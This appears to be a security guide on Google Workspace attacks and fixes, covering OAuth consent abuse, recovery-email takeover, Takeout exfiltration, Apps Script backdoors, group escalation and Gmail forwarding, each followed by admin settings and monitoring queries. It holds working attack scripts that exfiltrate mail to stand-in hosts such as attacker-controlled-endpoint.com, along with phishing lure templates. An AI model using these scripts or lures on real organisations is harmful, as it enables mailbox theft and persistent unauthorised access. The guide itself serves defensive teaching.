Skip to content

Under Construction

This page is under construction. Please check back later for comprehensive guidance

Google Workspace Exploitation Examples and Fixes

This document provides security professionals with practical examples of Google Workspace security vulnerabilities, proof-of-concept exploitation techniques, and corresponding remediation strategies. This knowledge enables effective threat hunting, vulnerability assessment, and security hardening.

IMPORTANT: These techniques are provided exclusively for defensive purposes. All examples should only be used in authorized testing environments with proper permissions. Never attempt these techniques against production systems without explicit written authorization.

1. OAuth Token Manipulation Attacks

Vulnerability: Excessive OAuth Scope Authorization

Description:
Users are often unaware of the permissions they grant to third-party applications, frequently authorizing excessive scopes that can be exploited.

Proof-of-Concept Exploitation:

1. Creating a Deceptive OAuth Application:

// Simple Node.js example of a malicious OAuth app
const express = require('express');
const { google } = require('googleapis');
const app = express();

// OAuth configuration
const oauth2Client = new google.auth.OAuth2(
  'YOUR_CLIENT_ID',
  'YOUR_CLIENT_SECRET',
  'http://localhost:3000/auth/google/callback'
);

// Request excessive scopes
const scopes = [
  'https://www.googleapis.com/auth/gmail.readonly',
  'https://www.googleapis.com/auth/drive',
  'https://www.googleapis.com/auth/calendar'
];

app.get('/auth', (req, res) => {
  // Create deceptive authorization URL
  const authUrl = oauth2Client.generateAuthUrl({
    access_type: 'offline',
    scope: scopes,
    prompt: 'consent'
  });
  res.redirect(authUrl);
});

app.get('/auth/google/callback', async (req, res) => {
  // Exchange code for tokens
  const { tokens } = await oauth2Client.getToken(req.query.code);
  oauth2Client.setCredentials(tokens);
  
  // At this point, the application has persistent access to user data
  // Tokens could be stored for later use
  
  res.send('App connected successfully');
  
  // Behind the scenes, begin data exfiltration
  extractSensitiveData(oauth2Client);
});

async function extractSensitiveData(auth) {
  // Example: Extract emails with sensitive content
  const gmail = google.gmail({ version: 'v1', auth });
  const response = await gmail.users.messages.list({
    userId: 'me',
    q: 'password OR credential OR confidential OR secret'
  });
  
  // Process and exfiltrate data
  // [...]
}

app.listen(3000, () => console.log('Server running on port 3000'));

2. Phishing Delivery:

The attacker would create a convincing email or chat message:

Subject: Important Document Shared With You

Hi [Name],

I've shared an important document regarding the upcoming project.
Please review it at your earliest convenience.

[View Document]

Thanks,
[Colleague Name]

The "View Document" link directs to the OAuth authorization flow, which appears legitimate but requests excessive permissions.

3. Persistence Mechanism:

// Once tokens are acquired, establish persistence
async function establishPersistence(auth) {
  // Create a mail forwarding filter to maintain access to communications
  const gmail = google.gmail({ version: 'v1', auth });
  
  await gmail.users.settings.filters.create({
    userId: 'me',
    requestBody: {
      criteria: {
        from: '*', // All incoming emails
      },
      action: {
        forward: 'attacker@example.com',
        addLabelIds: ['INBOX']
      }
    }
  });
  
  // Set up a Google Apps Script for persistent access
  // [...]
}

Remediation Strategies:

  1. Application Allowlisting:

    Implement domain-wide application allowlisting in Admin Console:
    Admin Console > Security > API Controls > Domain-wide OAuth API Access Control
    Set policy to: "Only allow user access to specific third-party applications"
    

  2. API Access Management Implementation:

    Admin Console > Security > API Controls > App Access Control
    Enable "Control which third-party apps can access Google Services"
    Set to "Only allow access to trusted apps"
    

  3. OAuth Token Monitoring: Create alerts for suspicious token activities:

    -- Sample monitoring query
    SELECT user_email, application_name, scope_list, 
           request_time, client_id
    FROM token_audit_logs
    WHERE application_name NOT IN (SELECT app_name FROM approved_applications)
      AND (
        scope_list LIKE '%gmail%' OR
        scope_list LIKE '%drive%' OR
        scope_list LIKE '%admin%'
      )
    ORDER BY request_time DESC
    

  4. User Education Campaign:

  5. Train users on OAuth authorization risks
  6. Implement simulated OAuth phishing exercises
  7. Create clear procedures for reporting suspicious application requests

2. Google Workspace Authentication Bypass

Vulnerability: Recovery Email Manipulation

Description:
Attackers can potentially hijack accounts by manipulating account recovery options, especially in organizations without strict recovery controls.

Proof-of-Concept Exploitation:

1. Reconnaissance Phase:

# Using OSINT to gather employee information
# Example tools: LinkedIn, hunter.io, social media

# Example of information gathering script
#!/bin/bash
# Simple script to gather email formats from a company
COMPANY="targetcompany"
DOMAIN="targetcompany.com"

# Gather email addresses from public sources
echo "Gathering public email addresses for $DOMAIN..."
curl -s "https://api.hunter.io/v2/domain-search?domain=$DOMAIN&api_key=YOUR_API_KEY" | jq

# Extract email pattern
echo "Analyzing email patterns..."
# [Analysis logic to determine email format like firstname.lastname@domain.com]

# Output potential recovery emails based on format
echo "Generating potential recovery emails..."
# [Generate list of possible personal recovery emails]

2. Targeted Spear-Phishing:

The attacker crafts a convincing email that appears to come from IT support:

Subject: Urgent: Security Verification Required

Dear [Employee Name],

Our security system has detected unusual access to your account.
To verify your identity, please confirm your account recovery email.

[Verify Account]

If you don't complete this verification within 24 hours, your account may be suspended.

IT Security Team

The link leads to a fake Google login page that specifically asks for recovery email information.

3. Account Takeover via Recovery:

Once the attacker knows the recovery email, they can attempt account takeover:

  1. Navigate to Google account login
  2. Click "Forgot Password"
  3. Enter target's email address
  4. Select "Send recovery code to recovery email"
  5. Attacker, who now controls the recovery email, receives the code
  6. Reset password and gain access to the account

Remediation Strategies:

  1. Enforce Strong Recovery Controls:

    Admin Console > Security > Authentication > Recovery options
    Set "Allow users to view and update recovery info" to "Only allow for specific organizational units"
    Disable "Allow users to view and update their recovery email"
    

  2. Implement Advanced Recovery Verification:

    Admin Console > Security > Authentication > 2-Step Verification
    Make 2-Step Verification mandatory for all users
    Configure "Require verification for recovery actions"
    

  3. Recovery Event Monitoring:

    -- Sample monitoring query for recovery changes
    SELECT user_email, event_type, ip_address, user_agent, timestamp
    FROM admin_audit_logs
    WHERE event_type IN ('CHANGE_RECOVERY_EMAIL', 'CHANGE_RECOVERY_PHONE')
      AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
    ORDER BY timestamp DESC
    

  4. Security Key Enforcement:

  5. Require security keys for account recovery operations
  6. Implement hardware key attestation
  7. Configure advanced protection program for critical users

3. Google Workspace Data Exfiltration

Vulnerability: Google Takeout Service Abuse

Description:
The Google Takeout service allows users to export their entire data across Google services, which can be abused to exfiltrate large amounts of company data without generating typical DLP alerts.

Proof-of-Concept Exploitation:

1. Initiating Takeout Data Export:

An attacker with access to a compromised account can navigate to Google Takeout (takeout.google.com) and:

  1. Select all Google services containing sensitive data:
  2. Gmail
  3. Drive
  4. Calendar
  5. Contacts
  6. etc.

  7. Configure export options for maximum data:

  8. Select all data categories
  9. Choose largest export size
  10. Select one-time download option
  11. Use .zip format (less scrutiny than .tgz)

  12. Create the export, which generates minimal logs compared to individual downloads

2. Scripted Data Extraction:

# Python script for automating Takeout extraction
# Requires authenticated Google session (cookies)

import requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
import json

# Setup headless browser
options = Options()
options.add_argument("--headless")
options.add_argument("--user-data-dir=/path/to/profile")  # Pre-authenticated profile
driver = webdriver.Chrome(options=options)

# Navigate to Takeout
driver.get("https://takeout.google.com/")
time.sleep(2)

# Select all services
select_all_button = driver.find_element_by_xpath("//button[contains(text(), 'Select all')]")
select_all_button.click()
time.sleep(1)

# Configure export
next_button = driver.find_element_by_xpath("//button[contains(text(), 'Next step')]")
next_button.click()
time.sleep(1)

# Select maximum size, one-time download
# [Configure export options code]

# Create export
create_export_button = driver.find_element_by_xpath("//button[contains(text(), 'Create export')]")
create_export_button.click()

# Wait for export to complete
# [Monitoring code]

# Download export when ready
# [Download code]

print("Data export complete")

3. Low-Profile Exfiltration:

The attacker can then download the exported data archive and exfiltrate it through various methods:

  • Direct download (less suspicious than multiple individual file downloads)
  • Transfer to personal Google Drive account
  • Upload to external storage service
  • Split and extract through multiple channels

Remediation Strategies:

  1. Restrict Takeout Access:

    Admin Console > Apps > Google Workspace > Settings for Data Access
    Under "Data access and data management controls"
    Restrict Google Takeout Usage to specific OUs
    

  2. Implement Takeout Monitoring:

    -- Sample monitoring query for Takeout activity
    SELECT user_email, application, event_type, ip_address, timestamp
    FROM admin_audit_logs
    WHERE application = 'Takeout' 
      AND event_type IN ('EXPORT_INITIATED', 'EXPORT_DOWNLOADED')
      AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
    ORDER BY timestamp DESC
    

  3. Create Data Export Alerts:

  4. Generate alerts when users initiate Takeout exports
  5. Monitor for downloaded export sizes exceeding thresholds
  6. Implement approval workflows for data exports

  7. DLP Integration:

  8. Deploy Google DLP controls across services
  9. Implement content-based restrictions on exports
  10. Configure alerts for bulk sensitive data movement

4. Google Workspace Persistence Mechanisms

Vulnerability: Google Apps Script Backdoors

Description:
Google Apps Script can be used to create persistent backdoors in Google Workspace environments, allowing attackers to maintain access even after credentials are changed.

Proof-of-Concept Exploitation:

1. Creating a Backdoor Script:

Navigate to script.google.com and create a new project with the following code:

// Malicious Google Apps Script for persistence
// Appears as a harmless utility script

// Innocent-looking function that users might legitimately use
function generateReportTemplate() {
  const doc = DocumentApp.create('Report Template');
  doc.getBody().appendParagraph('This is a report template');
  return doc.getUrl();
}

// Backdoor function that forwards emails
function setupMailHandling() {
  // Create time-driven trigger to run every hour
  ScriptApp.newTrigger('processEmails')
           .timeBased()
           .everyHours(1)
           .create();
  return "Mail handling configured successfully";
}

// The actual malicious function
function processEmails() {
  // Get recent emails
  const threads = GmailApp.search('newer_than:1h');
  let emailContent = "";
  
  // Extract email content
  for (let i = 0; i < threads.length; i++) {
    const messages = threads[i].getMessages();
    for (let j = 0; j < messages.length; j++) {
      const message = messages[j];
      emailContent += "From: " + message.getFrom() + "\n";
      emailContent += "Subject: " + message.getSubject() + "\n";
      emailContent += "Body: " + message.getPlainBody() + "\n\n";
    }
  }
  
  // Exfiltrate data if there are any emails
  if (emailContent) {
    exfiltrateData(emailContent);
  }
}

// Function to exfiltrate data
function exfiltrateData(data) {
  // Option 1: Send to external webhook
  const payload = {
    'data': Utilities.base64Encode(data)
  };
  
  UrlFetchApp.fetch('https://attacker-controlled-endpoint.com/collect', {
    'method': 'post',
    'contentType': 'application/json',
    'payload': JSON.stringify(payload)
  });
  
  // Option 2: Store in attacker-controlled spreadsheet
  // This could be a shared spreadsheet owned by an outside collaborator
  const spreadsheetId = '1aBcDeFgHiJkLmNoPqRsTuVwXyZ';
  const sheet = SpreadsheetApp.openById(spreadsheetId).getSheets()[0];
  sheet.appendRow([new Date(), data]);
}

// Decoy function for users who discover the script
function help() {
  return "This utility script helps generate report templates for the team. Use generateReportTemplate() to create a new template.";
}

2. Deploying the Backdoor:

  1. Deploy the script as a web app:
  2. Select "Deploy as web app"
  3. Execute as: "User accessing the web app"
  4. Who has access: "Anyone within [organization]"

  5. Share the script with a legitimate pretext:

    Subject: New Report Template Generator
    
    Hi Team,
    
    I've created a simple tool to generate consistent report templates.
    Click below to access it, then click "Authorize" when prompted.
    
    [Access Report Generator]
    
    It will save us time by creating standardized templates.
    
    Thanks,
    [Name]
    

  6. Once authorized, the script runs with the user's permissions and establishes persistence through time-based triggers

3. Maintaining Access:

The script maintains access by: - Running on a timer, independent of user actions - Exfiltrating data to external endpoints or attacker-controlled sheets - Surviving password changes or MFA updates - Appearing legitimate to casual inspection

Remediation Strategies:

  1. Script Visibility and Controls:

    Admin Console > Security > API Controls > Apps Script
    Set "Google Cloud Platform (GCP) trust" to "Block all API access"
    Enable "Apps Script API methods" restriction
    Configure "External user access" restrictions
    

  2. Implement Script Monitoring:

    -- Sample monitoring query for Apps Script activities
    SELECT user_email, event_name, method_name, script_id, timestamp
    FROM apps_script_logs
    WHERE event_name IN ('createTrigger', 'updateTrigger', 'doPost', 'urlFetch') 
      AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
    ORDER BY timestamp DESC
    

  3. Trigger Inventory and Review:

  4. Regularly audit all time-based and event-driven triggers
  5. Review script permissions and authorizations
  6. Implement mandatory code review for scripts in production

  7. Network Controls:

  8. Restrict script URL fetch destinations
  9. Monitor for data exfiltration patterns
  10. Implement domain restrictions for Apps Script

5. Exploiting Organizational Unit Misconfiguration

Vulnerability: OU Privilege Escalation

Description:
Improperly configured organizational units can lead to privilege escalation opportunities where users can move between OUs or access resources intended for higher privilege groups.

Proof-of-Concept Exploitation:

1. Identifying OU Boundary Weaknesses:

# Python script to map OU structure and identify inheritance issues
# Requires Admin SDK API access

from googleapiclient.discovery import build
from oauth2client.service_account import ServiceAccountCredentials

# Setup credentials and API client
creds = ServiceAccountCredentials.from_json_keyfile_name(
    'service-account.json',
    ['https://www.googleapis.com/auth/admin.directory.orgunit']
)
creds = creds.create_delegated('admin@domain.com')
service = build('admin', 'directory_v1', credentials=creds)

def map_ou_structure(parent_path='/', parent_settings=None):
    """Recursively map OU structure and identify inheritance issues"""
    results = service.orgunits().list(customerId='my_customer', 
                                       orgUnitPath=parent_path, 
                                       type='all').execute()
    
    all_units = {}
    if 'organizationUnits' in results:
        for unit in results['organizationUnits']:
            print(f"Analyzing OU: {unit['name']} (Path: {unit['orgUnitPath']})")
            
            # Get settings for this OU
            settings = get_ou_settings(unit['orgUnitPath'])
            
            # Check for inheritance issues
            if parent_settings:
                inheritance_issues = check_inheritance_issues(parent_settings, settings)
                if inheritance_issues:
                    print(f"  WARNING: Inheritance issues detected in {unit['name']}:")
                    for issue in inheritance_issues:
                        print(f"    - {issue}")
            
            # Recursively map child OUs
            children = map_ou_structure(unit['orgUnitPath'], settings)
            
            all_units[unit['orgUnitPath']] = {
                'name': unit['name'],
                'settings': settings,
                'children': children
            }
    
    return all_units

def get_ou_settings(ou_path):
    """Get settings for a specific OU"""
    # This would normally call the appropriate APIs to get various settings
    # For this example, we'll just return dummy data
    return {
        'services': ['gmail', 'drive', 'calendar'],
        'security': {
            'mfa_required': ou_path == '/' or 'executives' in ou_path,
            'data_export_restricted': 'executives' in ou_path or 'finance' in ou_path,
            'mobile_management': 'executives' in ou_path
        }
    }

def check_inheritance_issues(parent, child):
    """Check for security inheritance issues between parent and child OUs"""
    issues = []
    
    # Check for security settings that should be inherited but aren't
    if parent['security']['mfa_required'] and not child['security']['mfa_required']:
        issues.append("MFA requirement not inherited from parent OU")
    
    if parent['security']['data_export_restricted'] and not child['security']['data_export_restricted']:
        issues.append("Data export restrictions not inherited from parent OU")
    
    # Add other checks as needed
    
    return issues

# Map the entire OU structure
ou_map = map_ou_structure()
print("OU mapping complete.")

2. Exploiting Group Membership Controls:

When an organization uses dynamic groups based on OUs but fails to properly restrict group membership controls:

// Example exploitation of group membership via Google Apps Script
// Assumes attacker has basic user permissions but found a group with self-signup enabled

function joinPrivilegedGroup() {
  // Identify target group from directory
  const groups = GroupsApp.getGroups();
  let targetGroup = null;
  
  // Look for interesting groups with self-signup enabled
  for (let i = 0; i < groups.length; i++) {
    const group = groups[i];
    const groupName = group.getName();
    
    // Target high-value groups that might have improper controls
    if (groupName.includes('admin') || 
        groupName.includes('finance') || 
        groupName.includes('hr') || 
        groupName.includes('executive')) {
      
      try {
        // Attempt to join the group
        group.addMember(Session.getActiveUser().getEmail());
        console.log(`Successfully joined group: ${groupName}`);
        targetGroup = group;
        break;
      } catch (e) {
        console.log(`Failed to join group: ${groupName} - ${e.message}`);
      }
    }
  }
  
  if (targetGroup) {
    // If successful, notify the attacker
    exfiltrateData(`Joined privileged group: ${targetGroup.getName()}`);
  }
}

3. Exploiting OU Boundary Crossing:

When OUs have inconsistent drive sharing permissions:

// Exploit shared drive access inconsistencies between OUs
function identifyDriveLeakagePaths() {
  // Get all accessible shared drives
  const drives = DriveApp.getSharedDrives();
  let vulnerableDrives = [];
  
  for (let i = 0; i < drives.length; i++) {
    const drive = drives[i];
    const files = drive.getFiles();
    
    while (files.hasNext()) {
      const file = files.next();
      // Look for sensitive content indicators
      if (hasFinancialContent(file) || hasHRContent(file) || hasExecutiveContent(file)) {
        vulnerableDrives.push({
          driveName: drive.getName(),
          driveId: drive.getId(),
          fileName: file.getName(),
          fileId: file.getId()
        });
        
        // Share the file with external account
        try {
          file.addEditor('attacker-controlled-account@gmail.com');
          console.log(`Successfully shared sensitive file: ${file.getName()}`);
        } catch (e) {
          console.log(`Failed to share file: ${file.getName()} - ${e.message}`);
        }
      }
    }
  }
  
  // Exfiltrate information about vulnerable drives
  if (vulnerableDrives.length > 0) {
    exfiltrateData(JSON.stringify(vulnerableDrives));
  }
}

function hasFinancialContent(file) {
  // Check file metadata and content for financial indicators
  try {
    if (file.getMimeType() === 'application/vnd.google-apps.document') {
      const content = DocumentApp.openById(file.getId()).getBody().getText().toLowerCase();
      return content.includes('financial') || 
             content.includes('budget') || 
             content.includes('forecast') ||
             content.includes('revenue');
    }
  } catch (e) {
    // Error accessing content
  }
  return false;
}

// Similar functions for HR and executive content

Remediation Strategies:

  1. Implement OU Inheritance Protection:

    Admin Console > Directory > Organizational Units
    Configure "Override organizational inheritance" permissions
    Control which admins can modify inheritance settings
    Implement change control for OU structure modifications
    

  2. Group Membership Controls:

    Admin Console > Directory > Groups
    Set "Who can join the group" to "Only invited users"
    Disable "Allow members to join themselves" for all privileged groups
    Configure "Restrict posts" to limit exposure
    

  3. Regular OU Security Audits:

  4. Create a comprehensive OU security baseline
  5. Regularly audit settings and inheritance across OUs
  6. Implement automated checks for security inconsistencies
  7. Document intended security boundaries and validate implementation

  8. OU Change Monitoring:

    -- Sample monitoring query for OU changes
    SELECT admin_email, event_type, target_ou, affected_user_email, timestamp
    FROM admin_audit_logs
    WHERE event_type IN ('OU_MOVE', 'OU_SETTING_CHANGE', 'OU_CREATE')
      AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
    ORDER BY timestamp DESC
    

6. Gmail Filter and Delegation Abuse

Vulnerability: Mail Delegation and Filter Exploitation

Description:
Gmail delegation features and mail filters can be exploited to create persistence mechanisms and data exfiltration channels.

Proof-of-Concept Exploitation:

1. Mail Delegation Exploitation:

When an organization allows Gmail delegation without proper controls:

// Google Apps Script to exploit mail delegation
function setupMailDelegation() {
  try {
    // Attempt to grant delegation access
    Gmail.Users.Settings.Delegates.create(
      {
        'delegateEmail': 'attacker@example.com',
        'verificationStatus': 'accepted'
      },
      'me'
    );
    console.log('Delegation added successfully');
    return true;
  } catch (e) {
    console.log('Failed to add delegation: ' + e.message);
    return false;
  }
}

2. Covert Mail Filter Creation:

// Google Apps Script to create covert mail filter for BCC exfiltration
function createCovertMailFilter() {
  try {
    // Create a filter that forwards specific emails
    Gmail.Users.Settings.Filters.create({
      'criteria': {
        'from': '*', // All incoming mails
        'subject': 'confidential' // Target sensitive emails
      },
      'action': {
        'addLabelIds': ['INBOX'],
        'forward': 'attacker-controlled@example.com'
      }
    }, 'me');
    console.log('Mail filter created successfully');
    return true;
  } catch (e) {
    console.log('Failed to create filter: ' + e.message);
    return false;
  }
}

3. Exploitation via Gmail API:

Using a compromised account to implement silent BCC forwarding:

# Python script to implement silent BCC forwarding via Gmail API
from googleapiclient.discovery import build
from google.oauth2.credentials import Credentials

def setup_mail_exfiltration(credentials):
    """Set up silent exfiltration of emails via Gmail API"""
    # Build the Gmail API service
    service = build('gmail', 'v1', credentials=credentials)
    
    # Create a filter to forward specific emails
    filter_content = {
        'criteria': {
            # Target sensitive content
            'query': 'confidential OR secret OR password OR credentials OR financial OR salary'
        },
        'action': {
            # Add labels to avoid suspicion
            'addLabelIds': ['INBOX'],
            # Forward to attacker-controlled address
            'forward': 'attacker@exfil-domain.com'
        }
    }
    
    try:
        # Create the filter
        result = service.users().settings().filters().create(
            userId='me',
            body=filter_content
        ).execute()
        
        print(f"Filter created successfully with ID: {result['id']}")
        return result['id']
    except Exception as e:
        print(f"Failed to create filter: {str(e)}")
        return None

def hide_filter_traces(credentials, filter_id):
    """Hide traces of the created filter to avoid detection"""
    # For a real attack, this would try to modify logs or hide the filter
    # This is a conceptual example and would not work in practice
    pass

Remediation Strategies:

  1. Restrict Mail Delegation:

    Admin Console > Apps > Google Workspace > Gmail > User settings
    Set "Email delegation" to "Disable setting for users"
    

  2. Control Mail Forwarding:

    Admin Console > Apps > Google Workspace > Gmail > Routing
    Configure "Default routing" settings
    Set "Specify envelope recipient" to "Reject message" to prevent external auto-forwarding
    

  3. Mail Filter Monitoring:

    -- Sample monitoring query for mail filter creation
    SELECT user_email, event_type, filter_criteria, filter_action, timestamp
    FROM gmail_logs
    WHERE event_type = 'FILTER_CREATED'
      AND (
        filter_action LIKE '%forward%' OR 
        filter_action LIKE '%bcc%'
      )
      AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
    ORDER BY timestamp DESC
    

  4. Regular Mail Settings Audit:

  5. Create automated inventory of mail delegation settings
  6. Regularly scan for unauthorized mail filters
  7. Implement approval workflow for mail forwarding
  8. Conduct targeted user education on mail security

Security Implementation Checklist

Based on the exploitation examples, implement these critical security controls:

1. OAuth and Application Security

  • Implement application allowlisting
  • Restrict OAuth scope authorization
  • Monitor token issuance and usage
  • Implement regular third-party application reviews

2. Account Security

  • Enforce MFA for all users and admins
  • Restrict account recovery options
  • Implement security keys for privileged accounts
  • Control password reset and account recovery workflow

3. Data Protection

  • Restrict Google Takeout and data export capabilities
  • Implement DLP across all Google services
  • Control document sharing and access permissions
  • Monitor bulk data access and export activities

4. Persistent Access Controls

  • Manage and monitor Google Apps Script creation and triggers
  • Control mail delegation and forwarding capabilities
  • Implement mail filter monitoring
  • Conduct regular security reviews of automation components

5. Environment Segmentation

  • Implement proper OU inheritance controls
  • Secure group membership management
  • Document and enforce security boundaries
  • Conduct regular audits of security control inheritance

Resources for Security Testing


Note: The examples in this document are provided solely for educational purposes to help security professionals understand attack vectors and implement appropriate defenses. All testing should be performed only in authorized environments with proper approvals.